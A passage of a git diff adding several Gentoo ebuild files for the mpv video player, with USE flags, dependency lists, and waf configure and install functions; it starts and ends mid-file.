+ append-ldflags -nopie
+ fi
+
+ ###########################
+ # X enabled configuration #
+ ###########################
+ use X || myconf+=" --disable-x11"
+ uses="vaapi vdpau wayland xinerama xv"
+ for i in ${uses}; do
+ use ${i} || myconf+=" --disable-${i}"
+ done
+ use opengl || myconf+=" --disable-gl"
+ use lcms || myconf+=" --disable-lcms2"
+ use xscreensaver || myconf+=" --disable-xss"
+
+ CFLAGS= LDFLAGS= ./configure \
+ --cc="$(tc-getCC)" \
+ --extra-cflags="${CFLAGS}" \
+ --extra-ldflags="${LDFLAGS}" \
+ --pkg-config="$(tc-getPKG_CONFIG)" \
+ --prefix="${EPREFIX}"/usr \
+ --bindir="${EPREFIX}"/usr/bin \
+ --confdir="${EPREFIX}"/etc/${PN} \
+ --mandir="${EPREFIX}"/usr/share/man \
+ --docdir="${EPREFIX}"/usr/share/doc/${PF} \
+ --localedir="${EPREFIX}"/usr/share/locale \
+ ${myconf} || die
+
+ MAKEOPTS+=" V=1"
+}
+
+src_compile() {
+ base_src_compile
+
+ if use vf-dlopen; then
+ tc-export CC
+ emake -C TOOLS/vf_dlopen
+ fi
+}
+
+src_install() {
+ base_src_install
+
+ if use luajit; then
+ pax-mark -m "${ED}"usr/bin/mpv
+ fi
+
+ if use vf-dlopen; then
+ exeinto /usr/$(get_libdir)/${PN}
+ doexe TOOLS/vf_dlopen/*.so
+ fi
+}
diff --git a/media-video/mpv/mpv-0.3.3.ebuild b/media-video/mpv/mpv-0.3.3.ebuild
new file mode 100644
index 00000000..de68f286
--- /dev/null
+++ b/media-video/mpv/mpv-0.3.3.ebuild
@@ -0,0 +1,236 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/mpv/mpv-0.3.3.ebuild,v 1.2 2014/01/25 13:29:24 scarabeus Exp $
+
+EAPI=5
+
+EGIT_REPO_URI="https://github.com/mpv-player/mpv.git"
+
+inherit base waf-utils pax-utils
+[[ ${PV} == *9999* ]] && inherit git-r3
+
+DESCRIPTION="Video player based on MPlayer/mplayer2"
+HOMEPAGE="http://mpv.io/"
+SRC_URI="https://waf.googlecode.com/files/waf-1.7.13"
+[[ ${PV} == *9999* ]] || \
+SRC_URI+=" https://github.com/mpv-player/mpv/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+[[ ${PV} == *9999* ]] || \
+KEYWORDS="~alpha ~amd64 ~arm ~ppc ~ppc64 ~sparc ~x86 ~amd64-linux"
+IUSE="+alsa bluray bs2b +cdio -doc-pdf dvb +dvd dvdnav +enca encode +iconv jack -joystick
+jpeg ladspa lcms +libass libcaca libguess lirc lua luajit +mpg123 -openal +opengl
+oss portaudio +postproc pulseaudio pvr +quvi -radio samba +shm v4l vaapi vcd vdpau
+vf-dlopen wayland +X xinerama +xscreensaver +xv"
+
+REQUIRED_USE="
+ dvdnav? ( dvd )
+ enca? ( iconv )
+ lcms? ( opengl )
+ libguess? ( iconv )
+ luajit? ( lua )
+ opengl? ( || ( wayland X ) )
+ pvr? ( v4l )
+ radio? ( v4l || ( alsa oss ) )
+ vaapi? ( X )
+ vdpau? ( X )
+ wayland? ( opengl )
+ xinerama? ( X )
+ xscreensaver? ( X )
+ xv? ( X )
+"
+
+RDEPEND+="
+ || (
+ >=media-video/libav-9:=[encode?,threads,vaapi?,vdpau?]
+ >=media-video/ffmpeg-1.2:0=[encode?,threads,vaapi?,vdpau?]
+ )
+ sys-libs/ncurses
+ sys-libs/zlib
+ X? (
+ x11-libs/libXext
+ x11-libs/libXxf86vm
+ opengl? ( virtual/opengl )
+ lcms? ( media-libs/lcms:2 )
+ vaapi? ( >=x11-libs/libva-0.34.0[X(+)] )
+ vdpau? ( >=x11-libs/libvdpau-0.2 )
+ xinerama? ( x11-libs/libXinerama )
+ xscreensaver? ( x11-libs/libXScrnSaver )
+ xv? ( x11-libs/libXv )
+ )
+ alsa? ( media-libs/alsa-lib )
+ bluray? ( >=media-libs/libbluray-0.2.1 )
+ bs2b? ( media-libs/libbs2b )
+ cdio? (
+ || (
+ dev-libs/libcdio-paranoia
+ <dev-libs/libcdio-0.90[-minimal]
+ )
+ )
+ dvb? ( virtual/linuxtv-dvb-headers )
+ dvd? (
+ >=media-libs/libdvdread-4.1.3
+ dvdnav? ( >=media-libs/libdvdnav-4.2.0 )
+ )
+ enca? ( app-i18n/enca )
+ iconv? ( virtual/libiconv )
+ jack? ( media-sound/jack-audio-connection-kit )
+ jpeg? ( virtual/jpeg )
+ ladspa? ( media-libs/ladspa-sdk )
+ libass? (
+ >=media-libs/libass-0.9.10:=[enca?,fontconfig]
+ virtual/ttf-fonts
+ )
+ libcaca? ( >=media-libs/libcaca-0.99_beta18 )
+ libguess? ( >=app-i18n/libguess-1.0 )
+ lirc? ( app-misc/lirc )
+ lua? (
+ !luajit? ( >=dev-lang/lua-5.1 )
+ luajit? ( dev-lang/luajit:2 )
+ )
+ mpg123? ( >=media-sound/mpg123-1.14.0 )
+ openal? ( >=media-libs/openal-1.13 )
+ portaudio? ( >=media-libs/portaudio-19_pre20111121 )
+ postproc? (
+ || (
+ media-libs/libpostproc
+ >=media-video/ffmpeg-1.2:0[encode?,threads,vaapi?,vdpau?]
+ )
+ )
+ pulseaudio? ( media-sound/pulseaudio )
+ quvi? (
+ >=media-libs/libquvi-0.4.1:=
+ || (
+ >=media-video/libav-9[network]
+ >=media-video/ffmpeg-1.2:0[network]
+ )
+ )
+ samba? ( net-fs/samba )
+ v4l? ( media-libs/libv4l )
+ wayland? (
+ >=dev-libs/wayland-1.2.0
+ media-libs/mesa[egl,wayland]
+ >=x11-libs/libxkbcommon-0.3.0
+ )
+"
+ASM_DEP="dev-lang/yasm"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig
+ >=dev-lang/perl-5.8
+ dev-python/docutils
+ doc-pdf? (
+ dev-texlive/texlive-latex
+ dev-texlive/texlive-latexrecommended
+ dev-texlive/texlive-latexextra
+ dev-tex/xcolor
+ )
+ X? (
+ x11-proto/videoproto
+ x11-proto/xf86vidmodeproto
+ xinerama? ( x11-proto/xineramaproto )
+ xscreensaver? ( x11-proto/scrnsaverproto )
+ )
+ amd64? ( ${ASM_DEP} )
+ x86? ( ${ASM_DEP} )
+ x86-fbsd? ( ${ASM_DEP} )
+"
+DOCS=( Copyright README.md etc/example.conf etc/input.conf )
+
+pkg_setup() {
+ if use !libass; then
+ ewarn
+ ewarn "You've disabled the libass flag. No OSD or subtitles will be displayed."
+ fi
+
+ einfo "For additional format support you need to enable the support on your"
+ einfo "libavcodec/libavformat provider:"
+ einfo " media-video/libav or media-video/ffmpeg"
+}
+
+src_unpack() {
+ if [[ ${PV} == *9999* ]]; then
+ git-r3_src_unpack
+ else
+ default_src_unpack
+ fi
+
+ cp "${DISTDIR}"/waf-1.7.13 "${S}"/waf || die
+ chmod 0755 "${S}"/waf || die
+}
+
+src_prepare() {
+ base_src_prepare
+}
+
+src_configure() {
+ # keep build reproducible
+ # do not add -g to CFLAGS
+ # SDL output is fallback for platforms where nothing better is available
+ # media-sound/rsound is in pro-audio overlay only
+ waf-utils_src_configure \
+ --disable-build-date \
+ --disable-debug-build \
+ --disable-sdl \
+ --disable-sdl2 \
+ --disable-rsound \
+ $(use_enable encode encoding) \
+ $(use_enable joystick) \
+ $(use_enable bluray libbluray) \
+ $(use_enable vcd) \
+ $(use_enable quvi libquvi) \
+ $(use_enable samba libsmbclient) \
+ $(use_enable lirc) \
+ $(use_enable lua) \
+ $(usex luajit '--lua=luajit' '') \
+ $(use_enable doc-pdf pdf-build) \
+ $(use_enable vf-dlopen vf-dlopen-filters) \
+ $(use_enable cdio cdda) \
+ $(use_enable dvd dvdread) \
+ $(use_enable dvdnav) \
+ $(use_enable enca) \
+ $(use_enable iconv) \
+ $(use_enable libass) \
+ $(use_enable libguess) \
+ $(use_enable dvb) \
+ $(use_enable pvr) \
+ $(use_enable v4l libv4l2) \
+ $(use_enable v4l tv) \
+ $(use_enable v4l tv-v4l2) \
+ $(use_enable radio) \
+ $(use_enable radio radio-capture) \
+ $(use_enable radio radio-v4l2) \
+ $(use_enable mpg123) \
+ $(use_enable jpeg) \
+ $(use_enable libcaca caca) \
+ $(use_enable postproc libpostproc) \
+ $(use_enable alsa) \
+ $(use_enable jack) \
+ $(use_enable ladspa) \
+ $(use_enable portaudio) \
+ $(use_enable bs2b libbs2b) \
+ $(use_enable openal) \
+ $(use_enable oss oss-audio) \
+ $(use_enable pulseaudio pulse) \
+ $(use_enable shm) \
+ $(use_enable X x11) \
+ $(use_enable vaapi) \
+ $(use_enable vdpau) \
+ $(use_enable wayland) \
+ $(use_enable xinerama) \
+ $(use_enable xv) \
+ $(use_enable opengl gl) \
+ $(use_enable lcms lcms2) \
+ $(use_enable xscreensaver xss) \
+ --confdir="${EPREFIX}"/etc/${PN} \
+ --mandir="${EPREFIX}"/usr/share/man \
+ --docdir="${EPREFIX}"/usr/share/doc/${PF}
+}
+
+src_install() {
+ waf-utils_src_install
+
+ if use luajit; then
+ pax-mark -m "${ED}"usr/bin/mpv
+ fi
+}
diff --git a/media-video/mpv/mpv-0.3.4.ebuild b/media-video/mpv/mpv-0.3.4.ebuild
new file mode 100644
index 00000000..7484aa87
--- /dev/null
+++ b/media-video/mpv/mpv-0.3.4.ebuild
@@ -0,0 +1,236 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/mpv/mpv-0.3.4.ebuild,v 1.1 2014/02/01 20:00:50 tomwij Exp $
+
+EAPI=5
+
+EGIT_REPO_URI="https://github.com/mpv-player/mpv.git"
+
+inherit base waf-utils pax-utils
+[[ ${PV} == *9999* ]] && inherit git-r3
+
+DESCRIPTION="Video player based on MPlayer/mplayer2"
+HOMEPAGE="http://mpv.io/"
+SRC_URI="https://waf.googlecode.com/files/waf-1.7.13"
+[[ ${PV} == *9999* ]] || \
+SRC_URI+=" https://github.com/mpv-player/mpv/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+[[ ${PV} == *9999* ]] || \
+KEYWORDS="~alpha ~amd64 ~arm ~ppc ~ppc64 ~sparc ~x86 ~amd64-linux"
+IUSE="+alsa bluray bs2b +cdio -doc-pdf dvb +dvd dvdnav +enca encode +iconv jack -joystick
+jpeg ladspa lcms +libass libcaca libguess lirc lua luajit +mpg123 -openal +opengl
+oss portaudio +postproc pulseaudio pvr +quvi -radio samba +shm v4l vaapi vcd vdpau
+vf-dlopen wayland +X xinerama +xscreensaver +xv"
+
+REQUIRED_USE="
+ dvdnav? ( dvd )
+ enca? ( iconv )
+ lcms? ( opengl )
+ libguess? ( iconv )
+ luajit? ( lua )
+ opengl? ( || ( wayland X ) )
+ pvr? ( v4l )
+ radio? ( v4l || ( alsa oss ) )
+ vaapi? ( X )
+ vdpau? ( X )
+ wayland? ( opengl )
+ xinerama? ( X )
+ xscreensaver? ( X )
+ xv? ( X )
+"
+
+RDEPEND+="
+ || (
+ >=media-video/libav-9:=[encode?,threads,vaapi?,vdpau?]
+ >=media-video/ffmpeg-1.2:0=[encode?,threads,vaapi?,vdpau?]
+ )
+ sys-libs/ncurses
+ sys-libs/zlib
+ X? (
+ x11-libs/libXext
+ x11-libs/libXxf86vm
+ opengl? ( virtual/opengl )
+ lcms? ( media-libs/lcms:2 )
+ vaapi? ( >=x11-libs/libva-0.34.0[X(+)] )
+ vdpau? ( >=x11-libs/libvdpau-0.2 )
+ xinerama? ( x11-libs/libXinerama )
+ xscreensaver? ( x11-libs/libXScrnSaver )
+ xv? ( x11-libs/libXv )
+ )
+ alsa? ( media-libs/alsa-lib )
+ bluray? ( >=media-libs/libbluray-0.2.1 )
+ bs2b? ( media-libs/libbs2b )
+ cdio? (
+ || (
+ dev-libs/libcdio-paranoia
+ <dev-libs/libcdio-0.90[-minimal]
+ )
+ )
+ dvb? ( virtual/linuxtv-dvb-headers )
+ dvd? (
+ >=media-libs/libdvdread-4.1.3
+ dvdnav? ( >=media-libs/libdvdnav-4.2.0 )
+ )
+ enca? ( app-i18n/enca )
+ iconv? ( virtual/libiconv )
+ jack? ( media-sound/jack-audio-connection-kit )
+ jpeg? ( virtual/jpeg )
+ ladspa? ( media-libs/ladspa-sdk )
+ libass? (
+ >=media-libs/libass-0.9.10:=[enca?,fontconfig]
+ virtual/ttf-fonts
+ )
+ libcaca? ( >=media-libs/libcaca-0.99_beta18 )
+ libguess? ( >=app-i18n/libguess-1.0 )
+ lirc? ( app-misc/lirc )
+ lua? (
+ !luajit? ( >=dev-lang/lua-5.1 )
+ luajit? ( dev-lang/luajit:2 )
+ )
+ mpg123? ( >=media-sound/mpg123-1.14.0 )
+ openal? ( >=media-libs/openal-1.13 )
+ portaudio? ( >=media-libs/portaudio-19_pre20111121 )
+ postproc? (
+ || (
+ media-libs/libpostproc
+ >=media-video/ffmpeg-1.2:0[encode?,threads,vaapi?,vdpau?]
+ )
+ )
+ pulseaudio? ( media-sound/pulseaudio )
+ quvi? (
+ >=media-libs/libquvi-0.4.1:=
+ || (
+ >=media-video/libav-9[network]
+ >=media-video/ffmpeg-1.2:0[network]
+ )
+ )
+ samba? ( net-fs/samba )
+ v4l? ( media-libs/libv4l )
+ wayland? (
+ >=dev-libs/wayland-1.2.0
+ media-libs/mesa[egl,wayland]
+ >=x11-libs/libxkbcommon-0.3.0
+ )
+"
+ASM_DEP="dev-lang/yasm"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig
+ >=dev-lang/perl-5.8
+ dev-python/docutils
+ doc-pdf? (
+ dev-texlive/texlive-latex
+ dev-texlive/texlive-latexrecommended
+ dev-texlive/texlive-latexextra
+ dev-tex/xcolor
+ )
+ X? (
+ x11-proto/videoproto
+ x11-proto/xf86vidmodeproto
+ xinerama? ( x11-proto/xineramaproto )
+ xscreensaver? ( x11-proto/scrnsaverproto )
+ )
+ amd64? ( ${ASM_DEP} )
+ x86? ( ${ASM_DEP} )
+ x86-fbsd? ( ${ASM_DEP} )
+"
+DOCS=( Copyright README.md etc/example.conf etc/input.conf )
+
+pkg_setup() {
+ if use !libass; then
+ ewarn
+ ewarn "You've disabled the libass flag. No OSD or subtitles will be displayed."
+ fi
+
+ einfo "For additional format support you need to enable the support on your"
+ einfo "libavcodec/libavformat provider:"
+ einfo " media-video/libav or media-video/ffmpeg"
+}
+
+src_unpack() {
+ if [[ ${PV} == *9999* ]]; then
+ git-r3_src_unpack
+ else
+ default_src_unpack
+ fi
+
+ cp "${DISTDIR}"/waf-1.7.13 "${S}"/waf || die
+ chmod 0755 "${S}"/waf || die
+}
+
+src_prepare() {
+ base_src_prepare
+}
+
+src_configure() {
+ # keep build reproducible
+ # do not add -g to CFLAGS
+ # SDL output is fallback for platforms where nothing better is available
+ # media-sound/rsound is in pro-audio overlay only
+ waf-utils_src_configure \
+ --disable-build-date \
+ --disable-debug-build \
+ --disable-sdl \
+ --disable-sdl2 \
+ --disable-rsound \
+ $(use_enable encode encoding) \
+ $(use_enable joystick) \
+ $(use_enable bluray libbluray) \
+ $(use_enable vcd) \
+ $(use_enable quvi libquvi) \
+ $(use_enable samba libsmbclient) \
+ $(use_enable lirc) \
+ $(use_enable lua) \
+ $(usex luajit '--lua=luajit' '') \
+ $(use_enable doc-pdf pdf-build) \
+ $(use_enable vf-dlopen vf-dlopen-filters) \
+ $(use_enable cdio cdda) \
+ $(use_enable dvd dvdread) \
+ $(use_enable dvdnav) \
+ $(use_enable enca) \
+ $(use_enable iconv) \
+ $(use_enable libass) \
+ $(use_enable libguess) \
+ $(use_enable dvb) \
+ $(use_enable pvr) \
+ $(use_enable v4l libv4l2) \
+ $(use_enable v4l tv) \
+ $(use_enable v4l tv-v4l2) \
+ $(use_enable radio) \
+ $(use_enable radio radio-capture) \
+ $(use_enable radio radio-v4l2) \
+ $(use_enable mpg123) \
+ $(use_enable jpeg) \
+ $(use_enable libcaca caca) \
+ $(use_enable postproc libpostproc) \
+ $(use_enable alsa) \
+ $(use_enable jack) \
+ $(use_enable ladspa) \
+ $(use_enable portaudio) \
+ $(use_enable bs2b libbs2b) \
+ $(use_enable openal) \
+ $(use_enable oss oss-audio) \
+ $(use_enable pulseaudio pulse) \
+ $(use_enable shm) \
+ $(use_enable X x11) \
+ $(use_enable vaapi) \
+ $(use_enable vdpau) \
+ $(use_enable wayland) \
+ $(use_enable xinerama) \
+ $(use_enable xv) \
+ $(use_enable opengl gl) \
+ $(use_enable lcms lcms2) \
+ $(use_enable xscreensaver xss) \
+ --confdir="${EPREFIX}"/etc/${PN} \
+ --mandir="${EPREFIX}"/usr/share/man \
+ --docdir="${EPREFIX}"/usr/share/doc/${PF}
+}
+
+src_install() {
+ waf-utils_src_install
+
+ if use luajit; then
+ pax-mark -m "${ED}"usr/bin/mpv
+ fi
+}
diff --git a/media-video/mpv/mpv-0.3.5.ebuild b/media-video/mpv/mpv-0.3.5.ebuild
new file mode 100644
index 00000000..d7110d9d
--- /dev/null
+++ b/media-video/mpv/mpv-0.3.5.ebuild
@@ -0,0 +1,236 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/mpv/mpv-0.3.5.ebuild,v 1.1 2014/02/13 17:45:33 tomwij Exp $
+
+EAPI=5
+
+EGIT_REPO_URI="https://github.com/mpv-player/mpv.git"
+
+inherit base waf-utils pax-utils
+[[ ${PV} == *9999* ]] && inherit git-r3
+
+DESCRIPTION="Video player based on MPlayer/mplayer2"
+HOMEPAGE="http://mpv.io/"
+SRC_URI="https://waf.googlecode.com/files/waf-1.7.13"
+[[ ${PV} == *9999* ]] || \
+SRC_URI+=" https://github.com/mpv-player/mpv/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+[[ ${PV} == *9999* ]] || \
+KEYWORDS="~alpha ~amd64 ~arm ~ppc ~ppc64 ~sparc ~x86 ~amd64-linux"
+IUSE="+alsa bluray bs2b +cdio -doc-pdf dvb +dvd dvdnav +enca encode +iconv jack -joystick
+jpeg ladspa lcms +libass libcaca libguess lirc lua luajit +mpg123 -openal +opengl
+oss portaudio +postproc pulseaudio pvr +quvi -radio samba +shm v4l vaapi vcd vdpau
+vf-dlopen wayland +X xinerama +xscreensaver +xv"
+
+REQUIRED_USE="
+ dvdnav? ( dvd )
+ enca? ( iconv )
+ lcms? ( opengl )
+ libguess? ( iconv )
+ luajit? ( lua )
+ opengl? ( || ( wayland X ) )
+ pvr? ( v4l )
+ radio? ( v4l || ( alsa oss ) )
+ vaapi? ( X )
+ vdpau? ( X )
+ wayland? ( opengl )
+ xinerama? ( X )
+ xscreensaver? ( X )
+ xv? ( X )
+"
+
+RDEPEND+="
+ || (
+ >=media-video/libav-9:=[encode?,threads,vaapi?,vdpau?]
+ >=media-video/ffmpeg-1.2:0=[encode?,threads,vaapi?,vdpau?]
+ )
+ sys-libs/ncurses
+ sys-libs/zlib
+ X? (
+ x11-libs/libXext
+ x11-libs/libXxf86vm
+ opengl? ( virtual/opengl )
+ lcms? ( media-libs/lcms:2 )
+ vaapi? ( >=x11-libs/libva-0.34.0[X(+)] )
+ vdpau? ( >=x11-libs/libvdpau-0.2 )
+ xinerama? ( x11-libs/libXinerama )
+ xscreensaver? ( x11-libs/libXScrnSaver )
+ xv? ( x11-libs/libXv )
+ )
+ alsa? ( media-libs/alsa-lib )
+ bluray? ( >=media-libs/libbluray-0.2.1 )
+ bs2b? ( media-libs/libbs2b )
+ cdio? (
+ || (
+ dev-libs/libcdio-paranoia
+ <dev-libs/libcdio-0.90[-minimal]
+ )
+ )
+ dvb? ( virtual/linuxtv-dvb-headers )
+ dvd? (
+ >=media-libs/libdvdread-4.1.3
+ dvdnav? ( >=media-libs/libdvdnav-4.2.0 )
+ )
+ enca? ( app-i18n/enca )
+ iconv? ( virtual/libiconv )
+ jack? ( media-sound/jack-audio-connection-kit )
+ jpeg? ( virtual/jpeg )
+ ladspa? ( media-libs/ladspa-sdk )
+ libass? (
+ >=media-libs/libass-0.9.10:=[enca?,fontconfig]
+ virtual/ttf-fonts
+ )
+ libcaca? ( >=media-libs/libcaca-0.99_beta18 )
+ libguess? ( >=app-i18n/libguess-1.0 )
+ lirc? ( app-misc/lirc )
+ lua? (
+ !luajit? ( >=dev-lang/lua-5.1 )
+ luajit? ( dev-lang/luajit:2 )
+ )
+ mpg123? ( >=media-sound/mpg123-1.14.0 )
+ openal? ( >=media-libs/openal-1.13 )
+ portaudio? ( >=media-libs/portaudio-19_pre20111121 )
+ postproc? (
+ || (
+ media-libs/libpostproc
+ >=media-video/ffmpeg-1.2:0[encode?,threads,vaapi?,vdpau?]
+ )
+ )
+ pulseaudio? ( media-sound/pulseaudio )
+ quvi? (
+ >=media-libs/libquvi-0.4.1:=
+ || (
+ >=media-video/libav-9[network]
+ >=media-video/ffmpeg-1.2:0[network]
+ )
+ )
+ samba? ( net-fs/samba )
+ v4l? ( media-libs/libv4l )
+ wayland? (
+ >=dev-libs/wayland-1.3.0
+ media-libs/mesa[egl,wayland]
+ >=x11-libs/libxkbcommon-0.3.0
+ )
+"
+ASM_DEP="dev-lang/yasm"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig
+ >=dev-lang/perl-5.8
+ dev-python/docutils
+ doc-pdf? (
+ dev-texlive/texlive-latex
+ dev-texlive/texlive-latexrecommended
+ dev-texlive/texlive-latexextra
+ dev-tex/xcolor
+ )
+ X? (
+ x11-proto/videoproto
+ x11-proto/xf86vidmodeproto
+ xinerama? ( x11-proto/xineramaproto )
+ xscreensaver? ( x11-proto/scrnsaverproto )
+ )
+ amd64? ( ${ASM_DEP} )
+ x86? ( ${ASM_DEP} )
+ x86-fbsd? ( ${ASM_DEP} )
+"
+DOCS=( Copyright README.md etc/example.conf etc/input.conf )
+
+pkg_setup() {
+ if use !libass; then
+ ewarn
+ ewarn "You've disabled the libass flag. No OSD or subtitles will be displayed."
+ fi
+
+ einfo "For additional format support you need to enable the support on your"
+ einfo "libavcodec/libavformat provider:"
+ einfo " media-video/libav or media-video/ffmpeg"
+}
+
+src_unpack() {
+ if [[ ${PV} == *9999* ]]; then
+ git-r3_src_unpack
+ else
+ default_src_unpack
+ fi
+
+ cp "${DISTDIR}"/waf-1.7.13 "${S}"/waf || die
+ chmod 0755 "${S}"/waf || die
+}
+
+src_prepare() {
+ base_src_prepare
+}
+
+src_configure() {
+ # keep build reproducible
+ # do not add -g to CFLAGS
+ # SDL output is fallback for platforms where nothing better is available
+ # media-sound/rsound is in pro-audio overlay only
+ waf-utils_src_configure \
+ --disable-build-date \
+ --disable-debug-build \
+ --disable-sdl \
+ --disable-sdl2 \
+ --disable-rsound \
+ $(use_enable encode encoding) \
+ $(use_enable joystick) \
+ $(use_enable bluray libbluray) \
+ $(use_enable vcd) \
+ $(use_enable quvi libquvi) \
+ $(use_enable samba libsmbclient) \
+ $(use_enable lirc) \
+ $(use_enable lua) \
+ $(usex luajit '--lua=luajit' '') \
+ $(use_enable doc-pdf pdf-build) \
+ $(use_enable vf-dlopen vf-dlopen-filters) \
+ $(use_enable cdio cdda) \
+ $(use_enable dvd dvdread) \
+ $(use_enable dvdnav) \
+ $(use_enable enca) \
+ $(use_enable iconv) \
+ $(use_enable libass) \
+ $(use_enable libguess) \
+ $(use_enable dvb) \
+ $(use_enable pvr) \
+ $(use_enable v4l libv4l2) \
+ $(use_enable v4l tv) \
+ $(use_enable v4l tv-v4l2) \
+ $(use_enable radio) \
+ $(use_enable radio radio-capture) \
+ $(use_enable radio radio-v4l2) \
+ $(use_enable mpg123) \
+ $(use_enable jpeg) \
+ $(use_enable libcaca caca) \
+ $(use_enable postproc libpostproc) \
+ $(use_enable alsa) \
+ $(use_enable jack) \
+ $(use_enable ladspa) \
+ $(use_enable portaudio) \
+ $(use_enable bs2b libbs2b) \
+ $(use_enable openal) \
+ $(use_enable oss oss-audio) \
+ $(use_enable pulseaudio pulse) \
+ $(use_enable shm) \
+ $(use_enable X x11) \
+ $(use_enable vaapi) \
+ $(use_enable vdpau) \
+ $(use_enable wayland) \
+ $(use_enable xinerama) \
+ $(use_enable xv) \
+ $(use_enable opengl gl) \
+ $(use_enable lcms lcms2) \
+ $(use_enable xscreensaver xss) \
+ --confdir="${EPREFIX}"/etc/${PN} \
+ --mandir="${EPREFIX}"/usr/share/man \
+ --docdir="${EPREFIX}"/usr/share/doc/${PF}
+}
+
+src_install() {
+ waf-utils_src_install
+
+ if use luajit; then
+ pax-mark -m "${ED}"usr/bin/mpv
+ fi
+}
diff --git a/media-video/mpv/mpv-9999.ebuild b/media-video/mpv/mpv-9999.ebuild
new file mode 100644
index 00000000..1b9ceefe
--- /dev/null
+++ b/media-video/mpv/mpv-9999.ebuild
@@ -0,0 +1,231 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/mpv/mpv-9999.ebuild,v 1.39 2014/01/25 13:29:24 scarabeus Exp $
+
+EAPI=5
+
+EGIT_REPO_URI="https://github.com/mpv-player/mpv.git"
+
+inherit base waf-utils pax-utils
+[[ ${PV} == *9999* ]] && inherit git-r3
+
+DESCRIPTION="Video player based on MPlayer/mplayer2"
+HOMEPAGE="http://mpv.io/"
+SRC_URI="https://waf.googlecode.com/files/waf-1.7.13"
+[[ ${PV} == *9999* ]] || \
+SRC_URI+=" https://github.com/mpv-player/mpv/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+[[ ${PV} == *9999* ]] || \
+KEYWORDS="~alpha ~amd64 ~arm ~ppc ~ppc64 ~sparc ~x86 ~amd64-linux"
+IUSE="+alsa bluray bs2b +cdio -doc-pdf dvb +dvd dvdnav +enca encode +iconv jack -joystick
+jpeg ladspa lcms +libass libcaca libguess lirc lua luajit +mpg123 -openal +opengl
+oss portaudio +postproc pulseaudio pvr +quvi -radio samba +shm v4l vaapi vcd vdpau
+vf-dlopen wayland +X xinerama +xscreensaver +xv"
+
+REQUIRED_USE="
+ dvdnav? ( dvd )
+ enca? ( iconv )
+ lcms? ( opengl )
+ libguess? ( iconv )
+ luajit? ( lua )
+ opengl? ( || ( wayland X ) )
+ pvr? ( v4l )
+ radio? ( v4l || ( alsa oss ) )
+ vaapi? ( X )
+ vdpau? ( X )
+ wayland? ( opengl )
+ xinerama? ( X )
+ xscreensaver? ( X )
+ xv? ( X )
+"
+
+RDEPEND+="
+ || (
+ >=media-video/libav-9:=[encode?,threads,vaapi?,vdpau?]
+ >=media-video/ffmpeg-1.2:0=[encode?,threads,vaapi?,vdpau?]
+ )
+ sys-libs/ncurses
+ sys-libs/zlib
+ X? (
+ x11-libs/libXext
+ x11-libs/libXxf86vm
+ opengl? ( virtual/opengl )
+ lcms? ( media-libs/lcms:2 )
+ vaapi? ( >=x11-libs/libva-0.34.0[X(+)] )
+ vdpau? ( >=x11-libs/libvdpau-0.2 )
+ xinerama? ( x11-libs/libXinerama )
+ xscreensaver? ( x11-libs/libXScrnSaver )
+ xv? ( x11-libs/libXv )
+ )
+ alsa? ( media-libs/alsa-lib )
+ bluray? ( >=media-libs/libbluray-0.2.1 )
+ bs2b? ( media-libs/libbs2b )
+ cdio? (
+ || (
+ dev-libs/libcdio-paranoia
+ <dev-libs/libcdio-0.90[-minimal]
+ )
+ )
+ dvb? ( virtual/linuxtv-dvb-headers )
+ dvd? (
+ >=media-libs/libdvdread-4.1.3
+ dvdnav? ( >=media-libs/libdvdnav-4.2.0 )
+ )
+ enca? ( app-i18n/enca )
+ iconv? ( virtual/libiconv )
+ jack? ( media-sound/jack-audio-connection-kit )
+ jpeg? ( virtual/jpeg )
+ ladspa? ( media-libs/ladspa-sdk )
+ libass? (
+ >=media-libs/libass-0.9.10:=[enca?,fontconfig]
+ virtual/ttf-fonts
+ )
+ libcaca? ( >=media-libs/libcaca-0.99_beta18 )
+ libguess? ( >=app-i18n/libguess-1.0 )
+ lirc? ( app-misc/lirc )
+ lua? (
+ !luajit? ( >=dev-lang/lua-5.1 )
+ luajit? ( dev-lang/luajit:2 )
+ )
+ mpg123? ( >=media-sound/mpg123-1.14.0 )
+ openal? ( >=media-libs/openal-1.13 )
+ portaudio? ( >=media-libs/portaudio-19_pre20111121 )
+ postproc? (
+ || (
+ media-libs/libpostproc
+ >=media-video/ffmpeg-1.2:0[encode?,threads,vaapi?,vdpau?]
+ )
+ )
+ pulseaudio? ( media-sound/pulseaudio )
+ quvi? (
+ >=media-libs/libquvi-0.4.1:=
+ || (
+ >=media-video/libav-9[network]
+ >=media-video/ffmpeg-1.2:0[network]
+ )
+ )
+ samba? ( net-fs/samba )
+ v4l? ( media-libs/libv4l )
+ wayland? (
+ >=dev-libs/wayland-1.2.0
+ media-libs/mesa[egl,wayland]
+ >=x11-libs/libxkbcommon-0.3.0
+ )
+"
+ASM_DEP="dev-lang/yasm"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig
+ >=dev-lang/perl-5.8
+ dev-python/docutils
+ doc-pdf? ( dev-python/rst2pdf )
+ X? (
+ x11-proto/videoproto
+ x11-proto/xf86vidmodeproto
+ xinerama? ( x11-proto/xineramaproto )
+ xscreensaver? ( x11-proto/scrnsaverproto )
+ )
+ amd64? ( ${ASM_DEP} )
+ x86? ( ${ASM_DEP} )
+ x86-fbsd? ( ${ASM_DEP} )
+"
+DOCS=( Copyright README.md etc/example.conf etc/input.conf )
+
+pkg_setup() {
+ if use !libass; then
+ ewarn
